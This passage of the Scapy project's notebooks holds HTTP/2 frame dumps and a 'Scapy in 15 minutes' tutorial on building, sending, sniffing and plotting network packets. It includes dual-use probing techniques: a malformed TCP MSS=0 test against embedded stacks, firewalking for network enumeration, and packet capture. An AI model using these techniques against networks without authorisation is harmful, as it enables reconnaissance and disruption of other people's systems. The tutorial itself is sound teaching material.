eF~\\x1b`\\x14>;\\x18\\x85m\\x80\\x91L\\x04\\xe1X\\x88\\xeeP\\xaa\\x19\\x9e\\x98\\xd6s\\x04~f\\t\\xf9|G\\xde\\x84\\x81B.\\x80\\x81\\xdddP\\x07\\x08\\xbaN\\xe5w\"w\\xd2(RL\\xc0_\\xdb\\xd0M\\xff\\x0bm\\xe4_\\x8d\\xec\\x01\\xd4\\xf7{D\\xa6=\\xa8/r\\xd8\\xefK2\\tOi\\xec\\xc9t\\x84/m[\\x9a\\x92\\x19\\x8f\\'#\\x13\\xc7\\xc18\\x85\\x8e\\x8a\\xfb\\x1fM\\xe0.E(\\xa8\\xc9\\xc3)\\x94<\\xfa\\xd5M$R9fP\\xa6HvP\\x1f\\xeed\\x94\\xb12m\\xc4Z\\x02\\x1e+\\xb1c@\\xa6\\xe6\\xda\\xf0\\xd8\\xb0\\x87\\x08\\xc5)Z\\x9b\\xf9\\x19[\\x89\\xda\\x14?0a\\x9c\\xe1M\\x99\\xb5h\\xbb\\x83\\x01\\xb1\\x99\\x17M\\xe2\\xe6\\xe9G\\xe7Q@&f\\xd1\\xd1#\\xdb)96p\\x13\\x0ev!]\\xf6&\\xc6\\xaf\\x11?_\\xd8\\xaf\\x11\\xf6\\xe2P\\r\\xa5\\x07\\xe3\\x85\\xe3\\x12\\x7f\\x17\\xe3\\x8db7;\\xbcb\\x82H\\xb5{\\x14{\\xb8\\xe0\\xa7xB\\x8a\\xa5\\xaf\\xc1\\x97\\x18\\xb26\\xf8\\x92\\xcf\\xb4\\xc8\\x9f;\\x11\\x1d\\x87\\x8c\\xa3\\xdb\\x18[\\x80mxf\\xdeCa\\xc6\\xea\\xe0[\\xe8\\xa1\\xa9\\xf8E\\xac>\\x94\\xfe\\x85\\xbf\\x13<\\xd3-\\xd6\\xcf\\xee}\\x13\\xe1\\xfc\\x01\\xb3D\\xcd\\xefB\\x06\\x8f\\xf9Sn#\\x9d\\xdf\\xfav\\xb8\\xc5\\x03\\xf8]\\xdc(\\xfd\\xc8ox\\x03\\x1dJ&\\xf0\\x82D\\x8aY\\xf8\\xeb\\x18C\\xe8\\xf2\\xb8\\xa0\\xea\\x85\\xc3\\x93\\xd6E\\xaa|\\x9f\\xbc8\\x10\\xdd\\x9c\\xabds\\xe7\\xb3\\xe1\\xb4\\x1d\\xf9\\xf3\\xa7\\x17\\xd3c\\x86s\\xe5\\xca\\x8aQ\\xfa\\xddK\\xd9\\x90\\xd8\\xe1r8\\xf1\\xe7\\x934\\xa8\\x92\\x9f\\xf2\\x98b\\x18\\x90K,\\xb6\\xd3\\x0b=\\xab\\xb1:0_\\xf0w\\xd2\\x1f\\x7f|\\xd7\\xfb\\t?\\x93\\xfd\">Fv\\x80\\xb1\\x95;\\x9dd\\xd9\\x18\\x99\\x92\\x13)\\x95d\\xf4\\xb4\\xc1e\\xd3P\\xc8\\xcf\\xf2\\xbc\\x9c\\x97\\x9f\\xb3(\\xc7\\x90\\xc3\\xedH%%\\xc6\\xe7\\xa7\\xdf\\xb4\\x7f\\xef5+}\\xf8\\xd0\\xfb\\xf0\\xe1G\\xe9\\xbb\\xd2\\x02\\xae\\x18\\x83\\xe6\\x8f?z\\xa1\\x87\\x1c\\xd6E\\xea[\\x96T\\x13\\xd0\\x0e\\xff\\xe2\\xbcJL\\xb0\\xfb\\xf3\\x07/\\xbbn\\x8fN\\xbc\\xf4\\xba=\\xaa\\xb2\\xf4\\xba\\xe1$\\xbf\\xc0\\x1f\\x97\\x93\\x98.1\\xc9\\xb8\\xc7\\xa3Q\\x08\\xec\\xfd?\\x00\\x00\\x00\\xff\\xff'\n", " padding = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x5b\n", " type = DataFrm\n", " flags = set(['End Stream (ES)', 'Padded (P)'])\n", " reserved = 0L\n", " stream_id = 5L\n", "###[ HTTP/2 Padded Data Frame ]### \n", " padlen = 80\n", " data = '\\x03\\x00\\x1d\\x82P[\\x14\\xaa\\x00\\x00'\n", " padding = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n", "\n" ] } ], "prompt_number": 137 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's display the answer in human-readable format. We assume, once more for the sake of simplicity that we received very few headers." ] }, { "cell_type": "code", "collapsed": false, "input": [ "stream_txt = srv_tblhdr.gen_txt_repr(h2seq.frames[0])\n", "data = ''\n", "for frgmt in h2seq.frames[1:]:\n", " data += frgmt.payload.data\n", "print(stream_txt)\n", "HTML(zlib.decompress(data, 16+zlib.MAX_WBITS).decode(\"utf-8\", \"ignore\"))" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ ":status 200\n", "date: Tue, 13 Dec 2016 17:36:19 GMT\n", "p3p: CP=\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\"\n", "server: gws\n", "content-length: 4420\n", "expires: Fri, 16 Dec 2016 06:23:59 GMT\n", "set-cookie: NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly\n", "alt-svc: quic=\":443\"; ma=2592000; v=\"35,34\"\n", "date: Tue, 13 Dec 2016 17:36:19 GMT\n", "cache-control: private, max-age=0\n" ] }, { "html": [ "scapy - Recherche Google

 
Environ 190 000rsultats

    Scapy - SecDev.org

    www.secdev.org/projects/scapy/
    Scapy is a powerful interactive packet manipulation program. It is able to forge or
    \n", "decode packets of a wide number of protocols, send them on the wire, capture ...

    Usage — Scapy v2.1.1-dev documentation - SecDev.org

    www.secdev.org/projects/scapy/doc/usage.html
    Scapy's interactive shell is run in a terminal session. Root privileges are needed
    \n", "to send the packets, so we're using sudo here: $ sudo scapy Welcome to Scapy ...

    Manipulez les paquets rseau avec Scapy - OpenClassrooms

    https://openclassrooms.com/.../manipulez-les-paquets-reseau-avec-scapy
    20 nov. 2013 ... Scapy est un module pour Python permettant de forger, envoyer, rceptionner et
    \n", "manipuler des paquets rseau. Si le rseau vous intresse et ...

    Scapy — Wikipdia

    https://fr.wikipedia.org/wiki/Scapy
    Scapy est un logiciel libre de manipulation de paquets rseau crit en python. Il
    \n", "est capable, entre autres, d'intercepter le trafic sur un segment rseau, ...

    Scapy | Les Tutos de Nico

    www.lestutosdenico.com/tutos-de-nico/scapy
    26 avr. 2010 ... Scapy est un outil Open Source crit par Philippe Biondi. Cet utilitaire permet de
    \n", "manipuler, forger, dcoder, mettre, recevoir les paquets ...

    GitHub - secdev/scapy: Scapy: the python-based interactive packet ...

    https://github.com/secdev/scapy
    scapy - Scapy: the python-based interactive packet manipulation program &
    \n", "library.

    [PDF] 

    Les Fourberies de Scapy - Zenk - Security - Repository

    https://repo.zenk-security.com/.../Les%20Fourberies%20de%20Scapy.pdf
    Python & Scapy : cration de module ou de programme . . . . . . . . . . . . . . . . . . 12.
    \n", "3.1. Python & Scapy .... 16 change de paquet de Wireshark vers Scapy .

    Tutorial Scapy, introduction - Le blog de Thierry

    www.chambeyron.fr/index.php/systeme.../scapy/8-scapy-les-bases
    19 sept. 2014 ... Pour connaitre la liste des commandes scapy >>> lsc() arpcachepoison : Poison
    \n", "target's cache with (your MAC,victim's IP) couple arping : Send ...

    [PDF] 

    Scapy en pratique - Repository Root Me

    repository.root-me.org/.../FR%20-%20Scapy%20en%20pratique.pdf
    17 mai 2008 ... Scapy en pratique. PyCON FR – 17 Mai 2008 - Renaud Lifchitz. 3. Qu'est-ce
    \n", "que Scapy ? Prsentation gnrale. ○. Interprteur Python ...

    [How To]Utilisation de Scapy | cloud's Blog

    blog.madpowah.org/articles/scapy/index.html
    18 sept. 2008 ... Scapy est un logiciel dvelopp en python qui permet de forger des paquets, de
    \n", "sniffer et de faire bien d'autres actions bien utiles pour faire du ...

" ], "metadata": {}, "output_type": "pyout", "prompt_number": 141, "text": [ "" ] } ], "prompt_number": 141 } ], "metadata": {} } ] } ================================================ FILE: doc/notebooks/Scapy in 15 minutes.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Scapy in 15 minutes (or longer)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "##### Guillaume Valadon & Pierre Lalet" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Scapy](http://www.secdev.org/projects/scapy) is a powerful Python-based interactive packet manipulation program and library. It can be used to forge or decode packets for a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more.\n", "\n", "This iPython notebook provides a short tour of the main Scapy features. It assumes that you are familiar with networking terminology. All examples were built using the development version from [https://github.com/secdev/scapy](https://github.com/secdev/scapy), and tested on Linux. They should work as well on OS X, and other BSD.\n", "\n", "The current documentation is available on [http://scapy.readthedocs.io/](http://scapy.readthedocs.io/) !" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Scapy eases network packets manipulation, and allows you to forge complicated packets to perform advanced tests. As a teaser, let's have a look a two examples that are difficult to express without Scapy:\n", "\n", "1_ Sending a TCP segment with maximum segment size set to 0 to a specific port is an interesting test to perform against embedded TCP stacks. It can be achieved with the following one-liner:" ] }, { "cell_type": "code", "execution_count": 30, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Sent 1 packets.\n" ] } ], "source": [ "send(IP(dst=\"1.2.3.4\")/TCP(dport=502, options=[(\"MSS\", 0)]))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "2_ Advanced firewalking using IP options is sometimes useful to perform network enumeration. Here is a more complicated one-liner:" ] }, { "cell_type": "code", "execution_count": 31, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ " - IPOption_RR IPOption_Traceroute \n", "1 192.168.42.1 time-exceeded 192.168.46.1 time-exceeded 192.168.46.1 time-exceeded \n", "2 172.42.0.1 time-exceeded 172.42.0.1 time-exceeded 172.42.0.1 time-exceeded \n", "3 42.10.69.251 time-exceeded 42.10.69.251 time-exceeded 42.10.69.251 time-exceeded \n", "4 10.123.156.86 time-exceeded 10.123.156.86 time-exceeded - \n", "5 69.156.98.177 time-exceeded 69.156.98.177 time-exceeded - \n", "6 69.156.137.74 time-exceeded 69.156.137.74 time-exceeded - \n", "7 209.85.172.150 time-exceeded - - \n", "8 216.239.57.203 time-exceeded - - \n" ] } ], "source": [ "ans = sr([IP(dst=\"8.8.8.8\", ttl=(1, 8), options=IPOption_RR())/ICMP(seq=RandShort()), IP(dst=\"8.8.8.8\", ttl=(1, 8), options=IPOption_Traceroute())/ICMP(seq=RandShort()), IP(dst=\"8.8.8.8\", ttl=(1, 8))/ICMP(seq=RandShort())], verbose=False, timeout=3)[0]\n", "ans.make_table(lambda x, y: (\", \".join(z.summary() for z in x[IP].options) or '-', x[IP].ttl, y.sprintf(\"%IP.src% %ICMP.type%\")))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Now that we've got your attention, let's start the tutorial !" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Quick setup" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The easiest way to try Scapy is to clone the github repository, then launch the `run_scapy` script as root. The following examples can be pasted at the Scapy prompt. There is no need to install any external Python modules." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "```shell\n", "git clone https://github.com/secdev/scapy --depth=1\n", "sudo ./run_scapy\n", "Welcome to Scapy (2.4.0)\n", ">>>\n", "```" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Note: iPython users must import scapy as follows" ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [], "source": [ "from scapy.all import *" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## First steps" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "With Scapy, each network layer is a Python class.\n", "\n", "The `'/'` operator is used to bind layers together. Let's put a TCP segment on top of IP and assign it to the `packet` variable, then stack it on top of Ethernet. " ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [ { "data": { "text/plain": [ ">>" ] }, "execution_count": 2, "metadata": {}, "output_type": "execute_result" } ], "source": [ "packet = IP()/TCP()\n", "Ether()/packet" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This last output displays the packet summary. Here, Scapy automatically filled the Ethernet type as well as the IP protocol field.\n", "\n", "Protocol fields can be listed using the `ls()` function:" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ " >>> ls(IP, verbose=True)\n", " version : BitField (4 bits) = (4)\n", " ihl : BitField (4 bits) = (None)\n", " tos : XByteField = (0)\n", " len : ShortField = (None)\n", " id : ShortField = (1)\n", " flags : FlagsField (3 bits) = (0)\n", " MF, DF, evil\n", " frag : BitField (13 bits) = (0)\n", " ttl : ByteField = (64)\n", " proto : ByteEnumField = (0)\n", " chksum : XShortField = (None)\n", " src : SourceIPField (Emph) = (None)\n", " dst : DestIPField (Emph) = (None)\n", " options : PacketListField = ([])" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's create a new packet to a specific IP destination. With Scapy, each protocol field can be specified. As shown in the `ls()` output, the interesting field is `dst`.\n", "\n", "Scapy packets are objects with some useful methods, such as `summary()`." ] }, { "cell_type": "code", "execution_count": 3, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "\"Ether / IP / TCP 172.20.10.2:ftp_data > Net('www.secdev.org'):http S\"" ] }, "execution_count": 3, "metadata": {}, "output_type": "execute_result" } ], "source": [ "p = Ether()/IP(dst=\"www.secdev.org\")/TCP()\n", "p.summary()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "There are not many differences with the previous example. However, Scapy used the specific destination to perform some magic tricks !\n", "\n", "Using internal mechanisms (such as DNS resolution, routing table and ARP resolution), Scapy has automatically set fields necessary to send the packet. These fields can of course be accessed and displayed." ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "3a:71:de:90:0b:64\n", "172.20.10.2\n", "b8:e8:56:45:8c:e6 > 3a:71:de:90:0b:64\n", "172.20.10.2 > Net('www.secdev.org')\n" ] } ], "source": [ "print(p.dst) # first layer that has an src field, here Ether\n", "print(p[IP].src) # explicitly access the src field of the IP layer\n", "\n", "# sprintf() is a useful method to display fields\n", "print(p.sprintf(\"%Ether.src% > %Ether.dst%\\n%IP.src% > %IP.dst%\"))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Scapy uses default values that work most of the time. For example, `TCP()` is a SYN segment to port 80." ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "S http\n" ] } ], "source": [ "print(p.sprintf(\"%TCP.flags% %TCP.dport%\"))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Moreover, Scapy has implicit packets. For example, they are useful to make the TTL field value vary from 1 to 5 to mimic traceroute." ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "[>,\n", " >,\n", " >,\n", " >,\n", " >]" ] }, "execution_count": 11, "metadata": {}, "output_type": "execute_result" } ], "source": [ "[p for p in IP(ttl=(1,5))/ICMP()]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Sending and receiving" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Currently, you know how to build packets with Scapy. The next step is to send them over the network !\n", "\n", "The `sr1()` function sends a packet and returns the corresponding answer. `srp1()` does the same for layer two packets, i.e. Ethernet. If you are only interested in sending packets `send()` is your friend.\n", "\n", "As an example, we can use the DNS protocol to get www.example.com IPv4 address." ] }, { "cell_type": "code", "execution_count": 23, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Received 19 packets, got 1 answers, remaining 0 packets\n", "Begin emission:\n", "Finished to send 1 packets.\n" ] }, { "data": { "text/plain": [ "" ] }, "execution_count": 23, "metadata": {}, "output_type": "execute_result" } ], "source": [ "p = sr1(IP(dst=\"8.8.8.8\")/UDP()/DNS(qd=DNSQR()))\n", "p[DNS].an" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Another alternative is the `sr()` function. Like `srp1()`, the `sr1()` function can be used for layer 2 packets." ] }, { "cell_type": "code", "execution_count": 47, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Received 7 packets, got 6 answers, remaining 0 packets\n", "Begin emission:\n", "Finished to send 6 packets.\n" ] }, { "data": { "text/plain": [ "(,\n", " )" ] }, "execution_count": 47, "metadata": {}, "output_type": "execute_result" } ], "source": [ "r, u = srp(Ether()/IP(dst=\"8.8.8.8\", ttl=(5,10))/UDP()/DNS(rd=1, qd=DNSQR(qname=\"www.example.com\")))\n", "r, u" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "`sr()` sent a list of packets, and returns two variables, here `r` and `u`, where:\n", "1. `r` is a list of results (i.e tuples of the packet sent and its answer)\n", "2. `u` is a list of unanswered packets" ] }, { "cell_type": "code", "execution_count": 48, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Ether / IP / UDP / DNS Qry \"www.example.com\" \n", "Ether / IP / ICMP / IPerror / UDPerror / DNS Qry \"www.example.com.\" \n" ] }, { "data": { "text/plain": [ " an=None ns=None ar=None |>>>>" ] }, "execution_count": 48, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Access the first tuple\n", "print(r[0][0].summary()) # the packet sent\n", "print(r[0][1].summary()) # the answer received\n", "\n", "# Access the ICMP layer. Scapy received a time-exceeded error message\n", "r[0][1][ICMP]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "With Scapy, list of packets, such as `r` or `u`, can be easily written to, or read from PCAP files." ] }, { "cell_type": "code", "execution_count": 50, "metadata": {}, "outputs": [ { "data": { "text/plain": [ " an=None ns=None ar=None |>>>>" ] }, "execution_count": 50, "metadata": {}, "output_type": "execute_result" } ], "source": [ "wrpcap(\"scapy.pcap\", r)\n", "\n", "pcap_p = rdpcap(\"scapy.pcap\")\n", "pcap_p[0]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Sniffing the network is as straightforward as sending and receiving packets. The `sniff()` function returns a list of Scapy packets, that can be manipulated as previously described." ] }, { "cell_type": "code", "execution_count": 52, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "" ] }, "execution_count": 52, "metadata": {}, "output_type": "execute_result" } ], "source": [ "s = sniff(count=2)\n", "s" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "`sniff()` has many arguments. The `prn` one accepts a function name that will be called on received packets. Using the `lambda` keyword, Scapy could be used to mimic the `tshark` command behavior." ] }, { "cell_type": "code", "execution_count": 53, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Ether / IP / TCP 172.20.10.2:52664 > 216.58.208.200:https A\n", "Ether / IP / TCP 216.58.208.200:https > 172.20.10.2:52664 A\n" ] }, { "data": { "text/plain": [ "" ] }, "execution_count": 53, "metadata": {}, "output_type": "execute_result" } ], "source": [ "sniff(count=2, prn=lambda p: p.summary())" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Alternatively, Scapy can use OS sockets to send and receive packets. The following example assigns an UDP socket to a Scapy `StreamSocket`, which is then used to query www.example.com IPv4 address.\n", "Unlike other Scapy sockets, `StreamSockets` do not require root privileges." ] }, { "cell_type": "code", "execution_count": 79, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Received 1 packets, got 1 answers, remaining 0 packets\n", "Begin emission:\n", "Finished to send 1 packets.\n" ] }, { "data": { "text/plain": [ " an= ns=None ar=None |>" ] }, "execution_count": 79, "metadata": {}, "output_type": "execute_result" } ], "source": [ "import socket\n", "\n", "sck = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # create an UDP socket\n", "sck.connect((\"8.8.8.8\", 53)) # connect to 8.8.8.8 on 53/UDP\n", "\n", "# Create the StreamSocket and gives the class used to decode the answer\n", "ssck = StreamSocket(sck)\n", "ssck.basecls = DNS\n", "\n", "# Send the DNS query\n", "ssck.sr1(DNS(rd=1, qd=DNSQR(qname=\"www.example.com\")))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Visualization\n", "Parts of the following examples require the [matplotlib](http://matplotlib.org/) module." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "With `srloop()`, we can send 100 ICMP packets to 8.8.8.8 and 8.8.4.4." ] }, { "cell_type": "code", "execution_count": 25, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [] } ], "source": [ "ans, unans = srloop(IP(dst=[\"8.8.8.8\", \"8.8.4.4\"])/ICMP(), inter=.1, timeout=.1, count=100, verbose=False)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Then we can use the results to plot the IP id values." ] }, { "cell_type": "code", "execution_count": 26, "metadata": {}, "outputs": [ { "data": { "image/png": "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\nvSLl4f